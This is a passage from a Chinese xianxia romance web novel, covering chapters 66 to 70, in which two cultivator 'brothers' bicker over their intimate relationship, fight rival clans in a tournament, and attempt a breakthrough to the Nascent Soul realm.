他一言不发,身后的剑匣微微摇晃,分明一动不动,却有着极其强烈的存在感。 许清浔一愣,见他还不走,奇怪地回头,“怎么了,还有话要问?” 祁桓摇头,眼神柔和,“没有,只是……” “只是什么?”许清浔有点着急,好像不太习惯祁桓这样。 “只是放心了。”祁桓微微点头,“还好,还好,师兄没有生我的气。” 许清浔浑身一震,大脑好似轰了一声,如雷轰顶,心跳大乱。 他想压下来,却压不住,只好抱怨对方,干嘛突然说这么肉麻的话啊! 而接着,祁桓又说:“修炼自然要修炼,但我想留下来,跟师兄同在此处修炼。” 许清浔一呆,显然被接连的直球打乱了阵脚,只好点头说:“嗯……没所谓,你要留便留,反正这座法府大得很,多你一个也无妨。” 祁桓轻应一声,片刻后,他自己去了其中一间修炼室。 片刻后,许清浔终于回过神,又红了脸,低头嘟囔道:“谁说我没有生气,我差点被你气死了好不好,嗯……不会再有下次,就算你哭着求我,也绝对不会再给。” 他似乎十分坚定,刚要离开,忽然目光一顿,落在了旁边的浅潭。 水光明亮,格外清楚地映照出了他此时的模样。 容貌自是跟以前一样,不一样的是原本雪白的脸色此时霞红一片,好似均匀地抹了一层胭脂,美归美,但有种说不出的羞耻感。 他傻了眼,心想自己在祁桓面前时,一直是这副模样吗? 许清浔难以置信,有些恼怒,可最终,他束手无策。 事到如今,还能怎么办?只好咽下去,待以后反击回去。对吧? 对!他一定会找回场子的! 许清浔稍稍释然,回到自己的修炼室,片刻后盘坐下来,沉心修炼。 过了几天,他大抵是彻底想开了,面对祁桓再无芥蒂,相处回到了以前,该贴贴该抱抱,似乎忘记了那起插曲,也没什么危机感。 “师弟近日修炼如何?” “师兄要试验一下成果吗。” “好啊,来打一架吧。” 他们于是切磋了一番,几乎将西北方的天地打塌了,引来无数目光。 “万法和屠夫又打起来了?” “是他们。” “随手一击就这么恐怖,谁能抗衡他们?” “很难吧。” “……哼,会有的。” 没过多久,斗法地带再无人影,让那些想窥探的人失望而归。 云丛深处,两道声音此起彼伏。 “话说师弟,你感觉什么人最可疑?” “都可疑。” “你要都杀了?” “现在动手吗。” 闻言,许清浔呆了呆,心想自家师弟外号屠夫还真不是虚有其名。 但话又说回来……他目光悠悠,不时打量着身边人,脸色隐隐发红,好像藏着什么坏心思。 回到法府后,许清浔一反常态地主动,亲自为祁桓脱下外袍,语气欢快地说:“失败乃常事,输给师兄不丢人,斗法之外,咱们还有别的可做。” 祁桓好似没发现他的异常,侧过眸,认真讨问:“什么可做。” 许清浔动作一僵,随即图穷匕见,自信满满抬头道:“师弟,我要你助我修行!” 第67章 第六十七章 会赢的 哦哦, 师弟答应了?这家伙,还是蛮听话的嘛! 放心,师兄虽然是第一次,但已经在脑子里演练过几百遍了, 放心交给师兄吧嘿嘿。 嗯?想要亲一口先?真是拿你没办法, 谁让我是你的好师兄呢, 允许了! 欸,你要干嘛?等等,不是,啊?! 半个时辰后, 许清浔突然惊醒, 视线往下一看, 立时头皮发麻, 心中直呼这不对!于是又起身跑路,速度之快超人预料,根本留不住。 片刻后,洞府内, 许清浔一只手撑着石壁,另一只手扶着腰,满眼的难以置信,心想不是,啊,怎么又被.草了, 到底发生了什么?我明明一切准备就绪,流程也推进得十分完美啊。 到底是哪里出了问题? 他歪了歪头,突然瞳孔一震,想到了自己心神最为松懈的那一刻。那个男人百依百顺, 各种顺从他,一切都仿佛是为了服务他,他被哄得飘飘然不知天地为何物,迷迷糊糊之间好像答应了什么,然后…… 草! 许清浔大怒,当即咬牙切齿,万万没想到,竟会是这个结果。 “他是什么意思,难道真不知道我的意思吗?这不可能吧,莫非明知如此,偏要……” 啊?为何啊。 许清浔一愣,他寻思,祁桓那小子不是喜欢他吗?喜欢他,不应该顺从他的一切想法吗,为何偏偏要…… 他不明白,嘀咕道:“难道是因为跟我斗法屡战屡败,心生怨气,于是只好在床上找回面子?可是实力不足,难道还是我的错?哼,我才不会放水!啊不是,那家伙的胜负欲哪里有这么强?所以到底是为什么?” 他百思不解,心中生出怨念,上次不到一刻钟,这次可是足足半个时辰!我的腰…… 可恶,到底为何啊。 不过,他气了一会,又振作起来,心想事不过三,再有下次,他定要提前约法三章,就不信了,那家伙还敢明知故犯不成? 想到这里,许清浔似乎想开了,反正……倒也没有损失多少,来日方长!他会赢的,绝对! 次日,法府内,他沉心修炼,忽然仿佛感知到什么,张开双眸,望向正前方。 门后有人,已经站了一会,却一声不吭,好像在等候他发落。 许清浔还记恨昨日的事,自然不会轻易搭理对方,于是继续修炼,仿佛没发现对方的存在。 不久后,他双手落于膝上,结莲花印,背脊处接连生出四手,灵力网格状,呈透明色,分别炼制法符、铭刻法宝、摹写阵法、演练符文,本是至少五人才能同时实现的事,他却多线程地实现了。 这说明了什么?比天赋更重要的是,执行力! 一个时辰后,他又睁开一边眸子,眉头微挑。 还不走?这个笨蛋,大好时间不去修炼,光待在这里做甚?你自己不觉得什么,但师兄看不下去啊。 许清浔终于还是开口了,语气严厉地说:“师弟,你此番何意?” 对面听闻他说话,缓缓地抬起头来,温声道:“没有何意,怕师兄生气,故来道歉。” 许清浔一听,唇线浅浅上扬,“你知道自己错了?” “嗯,师兄中途离开,定是师弟做错了。”黑衣修士态度十分诚恳,继续道:“敢问师兄,师弟究竟做错了什么?望师兄仔细指教,师弟好知错就改。” 许清浔愣了愣,心想这话听起来怎么怪怪的,你小子真的不知道? 黑衣修士接着又问:“究竟何处让师兄不满意了。” 何处?许清浔顿时联想到不好的东西,脸色一沉,“我才想问你,难道你真不知师兄的意思?” 黑衣修士停顿了一会,居然坦诚地点头,“我知道。” 许清浔反而意外了,“你知道,那为何?” 他好奇拉满,迫切想知道祁桓的回答,却没想到对方的回答如此惊人。 “……没忍住。” 三个字而已,许清浔瞪大了眼睛,有种一拳砸在棉花上的感觉,而且怪有道理的,原来如此,两次都是没忍住啊,那没办法,能够理解——个屁啊! 搞半天你是明知故犯啊! “臭小子,你居然还敢承认!什么没忍住,你倒是给我忍住啊。” 他气坏了,哪里还坐得住,立刻出现在祁桓面前,大步逼近,满头黑线,气势汹汹。 那男人见他出来了,竟还面露笑容,“师兄没事就好。” 你还敢笑? 许清浔目瞪口呆,刹在原地一动不动。 “师兄怎么了。”祁桓见他愣住,突然缩近了距离。 许清浔回过神时,对方已经近在咫尺,深黑的双眸径直望着他,充满了温柔与体贴,若不是这一而再的事,他差点就怀疑,这男人会是一个对媳妇百依百顺的好男人了。 “没有怎么,只是被你……惊到了。”许清浔心思微乱,下意识地回复。 “惊到了?”祁桓一呆,眉头微蹙,目光担忧,“怎么如此。” 他这副关怀备至的样子,跟昨日简直判若两人,险些让许清浔怀疑他有双重人格了。 许清浔呆了呆,心中狐疑,终于回到了刚刚的话题,目光打量道:“你不是一向能忍吗,怎么会忍不住?不会是借口吧?” “……并不是借口。” 祁桓好似不太想谈这个话题,微微低头,仿佛心里有难言之隐,他自己其实也不愿如此。 许清浔更加疑惑,心想你能有什么难言之隐,我可是无所不知的读者,你的事我全都知道,总不可能是因为平时禁欲久了,终于有了机会,就像一头饿久了的大猛兽,突然看见一块大好的五花肉在面前摇晃,实在忍不住一口吞下吧。 他皱了皱眉,继续盯着祁桓。 祁桓沉默以对,姿态更加放低。 许清浔顿时傻眼。 不,不是吧!难道是真的?啊,虽然仔细一想,好像确实没见过你小子自己…… 他心思大乱,莫名生出了一丝愧疚,毕竟他身为恋人,在这方面上多少有些责任,对方明明是个洁癖的男人,却从不吝啬为他…… 在此之上,自己居然还想占对方便宜! 许清浔瞳孔一震,又百般柔情涌上心头,怜爱不止,同样激荡的,还有他身为师兄的责任感,以及照顾欲! 你个做大哥的,不就是让小弟草一两次吗,小事小事,当犒劳了。 他不禁释然地笑,“算了,师兄皮粗肉厚,那点事算得了什么?你师兄心胸开阔,才不是在意这种事的人,安了,过去的事无须在意,比起这些,不如跟师兄聊聊道法吧?” 闻言,男人似乎松了口气,点头称是。 半个时辰后,修炼室内,法符堆积如山,地上已经堆满了,更毋宁空中还有一堆。 “师兄,你上次就是用它打败我的吗。” “哦,你发现了?” “没想到师兄竟然炼出了天品天雷符。” “不不,这就夸张了,距离天品还差一线吧?” 许清浔琢磨了一下,唇边带着自信的笑,转头道:“如何,师兄是不是很厉害?” 祁桓微愣了一下,不由自主道:“厉害。”这件事,我很早就知道了。 许清浔得意颔首,“所以输给师兄乃是常事,你看九界大炼这么多天才,哪个赢过师兄了?各个出场时那么牛逼哄哄,最终不还是被师兄打得嗷嗷叫,愣跟猪头一样连爹妈都认不得。你呀,无须为此挂怀。” “嗯,师兄的强大,师弟最是清楚。”祁桓点头。 许清浔凑近一问:“那你为何闷闷不乐?” 此时,法府内一片明亮,阳光自上而下地流泻一地,连空气中的灰尘都格外清晰。 青衣修士眨了眨眼,几乎贴在了黑衣修士身边,他过长的白发垂落在光滑的石床之上,一丝一缕皆仿佛裹带着白光,仿佛银河一般,意外衬出了一种神圣感。 与姿态慵懒的青衣修士相比,旁边坐着的黑衣修士格外肃穆,好似庙堂里的雕像,背脊挺直,一丝不苟。 听到青衣修士的话,黑衣修士缓慢地反应过来,摇头道:“并未闷闷不乐。” “哦?那你在想什么?”许清浔侧眸,险些没忍住,想捏一下对方的脸。 “在想,那是好事。”祁桓一本正经地回答。 “好在哪里?”许清浔好奇,打趣地问道:“你就不怕师兄永远压你一头,觉得你弱,看不上你?” 祁桓沉默了一下,点头又摇头,认真道:“怕,但师兄比我强,也说明比我安全,如今的世道如此危险,谁能不希望自己的爱人强大,比自己更有自保之力呢。” 许清浔呆住,忽然有些愧疚。 而祁桓眼神微暗,好似回忆起了什么,沉声道:“若是当年,父亲、母亲,还有姐姐,也能有几分自保之力,该有多好。” 许清浔面色顿变,不由低下了头,良久才重新开口,“已经过去的事,再如何惩罚自己,也无法改变了。” 祁桓轻应一声,像是已经想开了,但他没能藏住眼底一闪而逝的恨意。 许清浔看在眼里,拳头紧握,当即大声道:“待出九界大炼,师兄陪你一起复仇!” 祁桓微微一愣,不由自主地转过头,猝不及防地对上了一双明亮如星的眸子。 “有师兄在,一切都会好的。” 青衣修士信誓旦旦,笑起来,好像一切都明朗了。 第68章 第六十八章 他知道师兄最真实的样子。……- 片刻之后, 两人逐渐谈到了正题。 “师兄,他们都盯上你了。” “嗯,我知道。” “真不用出手吗。” “不用不用。不过,你若是走过路过, 听到他们大放厥词, 倒也可以随意出手。” 许清浔摆了摆手, 满不在意的样子。 祁桓想了想,点头称是。 许清浔看着他,似乎有话要说,但又临时止住, 说到另一个话题, “对了师弟, 我今日要尝试突破, 可能没有多少时间陪你,你一个人……可以吗?” “可以。”祁桓再次点头,仿佛早有预知,他怎会不知许清浔的境界以及修炼进展。 他的师兄天纵之才, 在九界大炼所向披靡,斩获无数资源,修炼神速,如今年纪轻轻,已经到了可以尝试突破元婴的境界。 这件事,外人仍不知晓, 否则他们怎敢蓄谋针对师兄。消息若是传出,至少要有九成敌人打退堂鼓。 “师兄专心修炼,无须在意师弟的事。” 祁桓淡淡说道。 “是吗?” “嗯。” 半个时辰后,法府内只留下许清浔一人。他望着洞府口的方向, 沉思了一阵,嘴中喃喃自语,眼里有信任,有担忧,最后摇了摇头,低声道:“我真是,总操心这么多干什么,他是主角,即使没有我,他也能好好活下去,最终登临时代之巅。相比之下,我更应该操心自己才对。” 他笑了笑,眼神温柔,“如今的他,该有的都有了,肯定不会跟原著一样黑化了。我又何必瞎操心,天天想为他做决定呢。” 过度的家长心理要不得,但偏偏这种心理对他来说已经根深蒂固,即便反思到了,一时之间也无法改正,只好走一步看一步了。 “我相信你。”许清浔眨了眨眼,随后挥手封闭洞府,转身走进法符的漩涡之中,白发随风飘散,身姿凛然- 外界,谣言持续发酵,愈演愈烈,令大多数存活者们以界域分成了九大阵营,其中代表玄界的,由于万法、屠夫鲜少走出人前,便由李梦好、姬舞明充当门面。 姬舞明实力不算强,但他能在妖孽遍地走的九界大炼走出明堂,称号不死,自有他的道理。 至于李梦好,与他交战过的人都知道,他的实力深不可测,疑似暗中修炼混沌古经,是个不简单的人物。 某种意义上,李梦好的敌人宁可对战万法,也不想对战李梦好,为何?因为众所周知,万法虽然强大,但品性纯良,宽容大度,心情好的时候,甚至会放你一马,而李梦好不同,他心狠手辣,睚眦必报,一旦落在他手里,下场还不如被屠夫徒手撕了,九界大炼开启以来,鲜少有人敢与李梦好为敌。 “我说六欲,他们这是要围杀我们玄界的人吗?” 某座高楼之上,两人正在商量。 “我们不是重点,重点是万法和屠夫。” 姬舞明一听,露出了匪夷所思的神色,不解道:“我真不明白,不过是一道谣言而已,他们真心觉得最终大战将决定一个界域的生死存亡?” 李梦好扫了姬舞明一眼,“信不信不重要,重要的是,那些重点人物如何行动,其他人不过是跟风而已。” 姬舞明脸色变了。 何谓重点人物?他自然心知肚明,当然是指最近半年内,接二连三地浮出水面的“古经”修炼者们。 这些人似乎通过古经知道了莲花洞天的什么秘密,因此十分笃定,并付出了行动。 “谣言”,抑或是“预言”,只有一字之差。 姬舞明想了想,问道:“李哥,你的古经没说什么吗。” 李梦好扫了姬舞明一眼,“没有。” 这话承认了他身上有古经,但这又如何,早就不是什么秘密了吧。 几天前,有个古经修炼者对上他,一开口就道出了他所修炼的古经之名,连否认的机会都不给。 他不觉得他们能够辨识出他的古经,肯定是他们背后的古经辨识出来的。你一个才活了三十年的小年轻,难道能跟活了无尽岁月的古经装蒜不成。 没有意义。 姬舞明闻言甚是失望,“怎么他们都有古经相助,我们却没有?” “古经脾气千差万别,也许我的古经刚好就不喜欢说话呢。” 李梦好明显被姬舞明问得有些烦了,他不太喜欢应对这类天真愚蠢的世家少爷,偏偏总是能碰上姬舞明,不知道该说冤家路窄还是什么,虽然姬舞明本人好像还没察觉到他的心情。 “但不管怎样,我们玄界修士不得不团结一心。”李梦好忽然严肃道。 姬舞明自然明白他的意思,“假设谣言是真的,玄界之外的任何一界获胜,很大可能选择葬灭玄界。” 玄界地方最小、人最少,因果也最小,是不折不扣的最优选。 虽然万法、屠夫站在玄界这边,但他们再强,也能敌八界高手联手,而玄界修士目前打下来,能算得上战力的,估计也就他们两人了。 当中,姬舞明可能还是凑数的。 李梦好皱眉,“我想找万法或者屠夫商量一下,可惜他们行踪不明,法府又极其隐秘,实在不太好找。” 姬舞明正欲点头,突然激动起立,指着窗外道:“那不是屠夫吗?” “什么?”李梦好立刻转头,但太晚了,只能捕捉到一道黑影,正主早已离去。 姬舞明惊道:“屠夫怎么来了这里?” 众所周知,屠夫时常出没于古迹,鲜少来这种“市集”地带,一旦出现,便是—— 李梦好突然开口,“追他!” 姬舞明慌忙应是。 片刻之后,他们两人气喘吁吁,姬舞明满头大汗,李梦好面色略白。 “不是我说,屠夫这什么鬼速度,他也有神速的神通?” “他没有,那是纯粹的肉身速度。” “啊?” 姬舞明难以置信,而就在这时,李梦好皱眉道:“他停下了!” 只见,前面的石地之上,忽然来了一群紫袍修士。 黑衣修士停步,身后的剑匣微微摇晃。 紫袍修士之中走出了一人,容貌英俊,彬彬有礼。他向黑衣修士微微一笑,介绍了自己的身份。 排位第四的混沌古经——太阳经修炼者! 李梦好面色一变。 姬舞明有点发慌。 但黑衣修士始终平淡,并未有丝毫反应。 紫袍修士说明了一番自己的来历,立刻说到了正题,“明人不说暗话,屠夫,我们来此,是想邀请你加入我们,在最终大战共同对付万法。” 话音未落,黑衣修士还没什么反应,姬舞明先激动了,险些要叫出声,还好李梦好及时拦住了他。 “李哥,你干嘛啊,那家伙要挖我许哥墙角!” 李梦好白了他一眼,传音道:“所以?你过去能有什么用?先看着!” 姬舞明只好闭嘴。 紫袍修士见对方没有反应,仿佛根本没听他怎么说,心中不禁感到一丝不满,但表面仍旧和颜悦色,淡淡地笑道:“我知你们关系深厚,也同是玄界之人,但祁兄,你当真甘愿屈于万法之下,永远被万法压一头?” 姬舞明一听,怒火腾腾往上涌。这家伙战前攻心是吧,简直卑鄙! 李梦好按兵不动,目光始终盯着祁桓。 祁桓还是没说话。 紫袍修士微微蹙眉,语重心长地劝说道:“祁兄,我看得出来,你绝不是拘泥于界域之人,玄界的存亡,乃至九界的存亡,对你而言,都没甚所谓,何故舍命陪万法,与我们八界为敌?玄界不过是泥丸之地,以你的天赋、才能,离开玄界才能大展身手,待在万法身边伏低做小,纯粹是浪费你的才能!” 最后那句话里多少夹带着几分真情实感。 李梦好听得出来,紫袍修士看好祁桓确实不假,并且他的发言绝非空穴来风,凭空捏造是非。 许多人都能感觉到,屠夫杀性极重,就连本命神通都是杀戮,按理说,他应以杀证道,杀之不尽才对,可是他却选择待在万法身边,自我约束,自我压制。 姬舞明没想到这里,传音骂骂咧咧,“贱人啊!居然战前挑拨离间,我许哥知道了,还不灭了你小子。” 李梦好内心紧张,生怕在祁桓脸上看到一丝动摇。 只见,黑衣修士听完,终于有了反应,反手从剑匣中抽出了一柄雪白发亮的长刀。 杀意自然流现,且瞬间弥漫了整片石林。 紫袍修士脸色微变,声音冷了下来,“屠夫,你非要敬酒不喝?” 黑衣修士无动于衷,随即消去了身形,生死线覆盖了四面八方。 “不愧是屠夫!”姬舞明大赞一声,眼里满是崇拜,“我就说你不会背叛的!” 说完,他转头看向李梦好,“李哥,我就说吧?” 李梦好的神色稍显松懈,但并未彻底放下心来。 “希望一切没事。” 几乎与此同时,许清浔睁开了双眸。他似乎有所感知,想要说些什么,但最后摇了摇头。 半个时辰后,斗法接近尾声,紫袍修士面色惨白,浑身鲜血淋漓,被生死线死死缠绕,最终无力地砸在了地面。 “你……会后悔的。” 祁桓缓缓收刀,身上无一丝血迹。 “万法虽强,但弱点太多,你跟着他,必死无疑。”紫袍修士吐了一口血,分明将死,却仍要逞口舌之快。 祁桓一言不发。 “呵呵,他不会正眼看你的。”紫袍修士忽然惨淡一笑,“像他那种人,怎会真心认可你,留你在身边,只是为了控制住你而已。若你对他无用,他还会留你吗?” 话音未落,一条生死线突然绷直,干脆利落地切断了他的头颅。 祁桓垂眸,面不改色。他知道,对方说的并非纯粹捏造,师兄留他在身边,确实有其他目的,一开始甚至可以说“不怀好意”。 但……那又如何。 他知道师兄最真实的样子,也渐渐地学会了影响师兄,比如第二次的时候,师兄明显更满意了,虽然说着不要,但一直没有走。 其实,他当时并非“没忍住”,纯粹是觉得那样更适合师兄,会让师兄更舒服、更满足,才那么做了。 嗯,他没有做错吧。 第69章 第六十九章 明明我才是亏大的! 轰!法府内又传出了大动静, 海量的灵力喷涌而出,引得地动山摇,雷霆阵阵。 修炼室内,灰头土脸的青年盘腿托腮, “又失败了, 神念这一关, 真就这么难吗。” 他周围悬浮着一道道古奥的符文,有散发着五行之力的五行符文,也有蕴含太阴太阳之力的双鱼符文。他的符文造诣已经到了一种极致,或者说, 到了瓶颈期, 若是不打破头顶的障碍, 便无法继续进步。 符修, 先学符文,再学画符,将灵力赋予符文,存储, 然后再现。很好定义,很好理解,对否? “当然对。” 许清浔淡淡地说。可是相对来说,正因如此,符修总是弱于体修,弱于法修。 这种劣势平时不是大问题, 但是一旦冲击元婴,就是极大的一个问题,因为雷劫难顶,他固然可以用海量的法符硬撼雷劫, 但雷劫既是劫难,也是福分,投机取巧,逃避天雷灌溉,即便成功炼成了元婴,也会导致元婴羸弱,难跟同境界修士抗衡。 神魂最怕天雷,而也唯有天雷,才能真正地令其蜕变升华,凝结成“婴”。 若是寻常修士,这类烦恼不应该出现,可偏偏他是符修。世上极少符修能够修炼到金丹期,更别说元婴期,据他所知,九界之内,真正算得上符修的元婴大能近乎为零。大多数符修都会渡劫失败,或者死,或者虽然活着,但无法炼出元婴,实力还停留在金丹期。 这个问题许多人都知道,因此他的那些敌人知道他是符修,总是低看一眼。他是何时知道问题的呢,大概三四岁吧,许家的老登们没少阻止他,要他放弃符修,可他就是头铁,顽固不化,为何?他当时在想什么? 许清浔难得地回忆过去,眼里仿佛浮现出了一个到处乱跑的顽皮小孩,谁的话也不听,活力超乎寻常,一天天地非要做些什么大事才肯老实睡觉,许家的大人物们为了他伤透脑筋,不知道换了多少老师,愣是找不到一个治得住他的人。 而他的父母更是宠溺无度,不管他说什么,想做什么,他们都不会反对,便是旁人再怎么劝说,他们也只是说,我家浔儿喜欢便好。 啊,真的,不仔细回想,还真发现不了,他的便宜父母……或多或少有些异常,就算再宠溺孩子,也不至于这样的吧? 更何况,他们两人理论上根本不是傻子,废话,万年世家的主家强者,怎么可能是傻子?他们只是在他面前装傻而已。 ……如此说来,这也太匪夷所思了,他们到底在想什么? 许清浔一顿,有些发毛,世上有人会回忆着回忆着,忽然发现自己的过去种种,都莫名细思极恐的吗? 他寻思来去,认为一切的罪魁祸首是天道,那家伙找自己来帮忙,却没把话说清楚,还要自己去琢磨去猜测,简直是懈怠!待到将来证道,他非要把那家伙揪出来拷问不可! 许清浔心里打定主意,但很快只能回归正题。他当初为何选择符道?答案是……他小时候没想那么多,纯粹觉得符道最有趣,所以选了。 这个答案在很长的时间里,对他而言没有任何问题,而对现在的他来说……多少有些随便了。 许清浔有点被自己无语到,然而人生没有重来系统,一旦投资了,便没有了撤股的机会。不过,要问他是否后悔? 他顿了顿,目光扫过周旋着自己的法符,它们无生命无意志,多数只是消耗品,世上会有人对一次性用品执着吗。大多数不会吧?可惜,他好像就是这种人。 他淡淡一笑,随手捏住一张符,眯了眯眼,低语道:“毕竟,我从小就喜欢烟花。” 烟花,只能绽放一次,短暂而美丽,让人不禁沉浸在那短暂之中,希望短暂也能永恒,又或者,唯有短暂才能永恒。话音刚落,他忽地一愣,喃喃自语道:“我为何从小喜欢烟花?” 许清浔眨了眨眼,眼里流露出些许迷茫。按理说,许家这种修真世家一年到头都不可能有烟花的吧。另一方面,他在现世时,好像还没有对烟花有什么特别感情。 “……真是匪夷所思。” 想也没用,一时之间解不开。许清浔豁然一笑,摇头道:“我在纠结什么,符道不也是道吗,道通道,不管黑猫白猫,抓到老鼠就是好猫。突破元婴,练就无敌体质,目的定了,方法如何,道如何,又有什么所谓?” 自己乃异界来客,就不必遵从这儿的繁文缛节了。 他释然地笑,随即大手一挥,竟将洞府内的符文尽数收于自身,融入了道体之中。这是一个危险的尝试,有没有符修曾经尝试过?不知,他只知道,现在的自己可以挑战一下。 以符炼体,以符铸体。接着,他将符文融入丹田,刻入金丹。从老经那里打劫来的上古符文,不用就太可惜了。倒是让哥们看看,究竟会发生怎样的化学反应吧。 许清浔乐滋滋地重启挑战,然后半个时辰过去,又是一阵地动山摇,由于他闹出的动静实在太大了,周围的妖兽们敏锐地嗅到危险的气息,纷纷逃难,形成了规模庞大的兽潮。 如此一来,他的闭关之地难免会暴露。 这日夜晚,神界修士齐聚一堂,遥望远方的青山。 “看到了吗,有人在那里突破。” “也有可能是洞天内的灵兽造成的动静吧?” “不,那种动静,绝对是人类修士在尝试突破,而且……这至少是金丹后期的修炼动静。” 说到这里,他们面色一变,不约而同地想到了一个人。 会是那个人吗?极有可能,第一实力符合,第二……那个人最近应该在闭关,到处都不见踪影。 若是的话,这无疑是一个好机会。众人交换视线,面色各异。 “为了预备最终大战,他肯定要提升实力,指不定会闭关到最终大战才出来。” “哼,岂能坐视他顺利突破?修士突破的时候最脆弱,我们不如联手,趁此机会杀了他。” “蠢货!有万法的地方就有屠夫,屠夫给万法护法,谁敢接近?” 他们好似认定了什么,情绪激昂,杀心渐起,但七嘴八舌,莫衷一是,反而吵闹起来。随后,有人仿佛想到什么,转头看向后方的蓝衣青年。 “水神月道友,您怎么看?”有人走上前去,恭敬地讨教道。 神界有五个万年世家,分别是水神、火神、金神、木神、土神,五大家族分别传承着五本上古经书,且家族的血脉神通皆在天品以上,皆与五行有关。 五大家族之中综合实力最强的,即众所周知的水神一族。而这位蓝衣青年正是当今水神一族最强的天才,名为水神月。 水神月自诩一代无敌,一进九界大炼便所向披靡,横扫四面八方,未尝败过,直到遇到了许清浔,一个谁都不知道他兜里有多少法符的变态。 自那日败了之后,水神月便沉寂了,很多人怀疑她道心受损,已经一蹶不振了,但是她的实力以及地位,仍旧十分有份量,况且这么好的机会,就此放过,未免太可惜了。 水神月身边的水神进也开口,“月姐,你要让他成为你一生的心魔吗。” 水神月眉头一皱,好像终于有了情感波动。 水神环也忍不住说话,“道争,你死我活,你不出手,他死在别人手中,你就没机会了。” 水神月神色更加严肃,许久才开口,“那便战吧。” 众人闻言,心情不禁一阵起伏,不管刚刚他们是否想出手,如今水神月一开口,他们就只能联手了。 当然,也许万法并不在那里呢。他们这么多人,先去看看情况也无妨,若不是万法,而是其他修士,不也正好将其围杀? 水神一族的精英都在,没什么好怕的! 神界众修连夜杀去,这日的月光格外明亮,连云层都格外分明。 忽然间,山脚下,众修不约而同地停下脚步,仰头望着林中独立的身影。 山风凛冽如刀,呼啸而过,可是那人的衣袍丝毫未动,鬼魅般静止在那里。 他们怎么可能认不出那人的身份。 水神环面色大黑,杀气腾腾,“屠夫!你在这里,说明万法也在吧!” 水神进冷笑,“可真是猜对了,诸位,这是千载难逢的好机会,杀了他们,他们身上的好东西都是你们的了。” 众修神色一凛,纷纷露出杀意。 屠夫和万法身上全是好东西,若是能抢到手…… 他们正幻想着,突然感觉到危机,抬头一看,竟见树林的正上空密密麻麻地分布着生死线,甚至他们脚下的土壤之中也埋藏了数不清的——糟了! 轰!说时迟拿时快,很快,山脚处爆发了一场激烈大战,汹涌的洪水凭空倾泻而出,淹没了方圆几里的土地,九界大炼以来最强的水法在此施展,而它的对手同样在其神通领域臻于了极致,抽刀断水无不可能。 无数修士倒下,连逃都没有机会,水神一族穷尽手段,也没能联手拿下那个单枪匹马的男人。 水神进死。水神环金丹崩碎,重伤濒死。水神月断手,灵气几乎透支。 他们不敢相信,这个一开始只以为是万法仆从的男人,实力居然也如此恐怖,其神通之强大,简直要冠绝一代了。 水神月不明白,任由真血流尽,抬头质问:“祁道友,你如此强大,为何要依附万法,甘心屈于他之下?” 黑衣修士面无表情,好像并不打算回答她。 水神月愣了一愣,低下头道:“手下败将的话对你而言毫无意义吗,杀了我吧。” 话音未落,她面前的血线似乎逼近了几分,只需一瞬间,便能让她人头落地。 她原本无畏,可当死亡真的就要降临时,身体还是控制不住地恐惧了,她浑身冷汗直冒,颤抖不止。她死死地盯着生死线,这一瞬,她动摇了。 她不想死,就算放弃道争,她也不想死。水神月面色惨白,几乎忍不住要求饶。 而就在这时,黑衣修士突然开口,“你走吧。” 极其冷淡的一句话,还是没有一丝情绪。 水神月浑身一震,难以置信地抬起头,她并未说话,但仿佛在用眼神问,为何不杀她。 “你们似乎对师兄有用,且留着,其余的,日后再说。”黑衣修士自顾自地说完,便转身消去了身影。 与此同时,水神月面前的血线也消失了。 她目瞪口呆,随即深深地吸了一口气。 得救了。 她感到茫然,同时也觉得不可思议。 屠夫冷酷无情,只会在万法的事情上显露出几分人情。 那两人……一人炽烈如日,毫无道理地焚烧一切,恣意任性,一人沉静如月,不张扬,不入世,孤高清冷,性情可以说截然相反,到底是怎么结伴的呢- 几乎与此同时。 法府内,青衣修士眼神幽幽,不知在抱怨什么,忽然红了脸,忿忿地嘀咕道:“这帮人怎么都说他在我之下,好像我占了他很大便宜似的,有没有可能事情正好相反?那家伙还草我叻。” 明明我才是亏大的! 第70章 第七十章 师兄……真好。 话又说回来, 那小子真就守在外面了吗。 许清浔一阵沉思,后又纳闷道:“为何不进来,怕打扰我修炼?那倒也是。” 若是有人在,定会看到他裸露在外的体肤上隐隐浮现着各种古奥的符文, 大部分是从原始太虚经那里打劫的, 小部分是他自己推演出来的, 这些符文与大道共振,各自蕴藏着非同寻常的能量,体现在他身上,就是热, 热得发慌, 仿佛身陷熔岩一样, 不是一般的难受。 可是, 这个过程偏偏是必要的。他从小不耐热,一到夏天整个人情绪都会不好,如今这一劫,对他来说可谓是前所未有的大考验。 他忽然抬手, 冰属符文从袖袍中飞出,遍布了整个修炼室,令这儿瞬间如入寒冬,到处冰封,可是寒气再厉害,也无法靠近到他的周围。 没用的, 起码得元婴大能的法术,才能勉强压下他的高温。 半个时辰后,符文激烈涌动,带来更难熬的高温。许清浔喘着气, 满面通红,就在此时,他浅色的双眸深处也隐隐浮现出了符文。 糟糕,他意识到这点时已经迟了,感知能力被极限地削弱,才一个呼吸之间而已,他的感知能力几乎与凡人无异,甚至……眼前一片黑暗。 符文在改变他的体质,现在作用到他的眼睛,暂时令他无法视物。 这种感觉许久没有了,伸手不见五指,仿佛坠入深海,心中不由生出几分无助之感,很想找到什么东西依附,以定位自我。 可惜,这里只有他一个人。 他的人生中鲜少会有这种无助感,却也只能等待,还不能发呆或者睡着,因为符文随时可能失控。 还要多久啊。困顿之中,他似乎感觉到了什么,微微抬头,也不知看着什么,表现略显疑惑。 忽然,他仿佛感知到了一股熟悉的气息,心头顿时一震。 接着,他便听到了对方温柔的声音。 “师兄,你怎么了。” 许清浔一呆,心想好小子,你啥时候进来了? “我……嗯,如你所见,在炼化符文,暂时看不见,不过你的声音我倒是能听见。”他轻声解释了一下,对方的到来,令他心喜,但与此同时,也令他担忧,毕竟这个男人可是敢偷袭他的,万一见他虚弱,突然…… 没等他胡思乱想,对方先开了口,“炼化符文吗,难怪,第一次见师兄这般模样。” 许清浔感觉声音移动了,对方应该坐在了他身旁。他像个大热炉一样,这家伙居然毫不在意。 等等。他忍不住问:“这般模样……是哪般模样?” 祁桓目光一顿,沉默了片刻才道:“没什么。” 许清浔眉头微皱,心想若是没什么,你怎可能特意提起,小小师弟,如今还学会卖关子了不成?他感觉,自己最多是湿了些,哪有什么值得说的。 “你真是,师兄正受苦受难,还有心思打趣师兄?” 祁桓闻言,似乎笑了。 许清浔更加不满,“怎么,你难道不是?” “并非。”祁桓摇了摇头,目光柔和,“我只是觉得,这对师兄而言不算什么。” 许清浔一呆,顿时心花怒放,多日不见,这小子越来越会说话了啊。 “你也学会巧令辞色了?”他凑近对方,打趣地说道。 “是吗?”祁桓反问,丝毫不在意许清浔带来的热量。 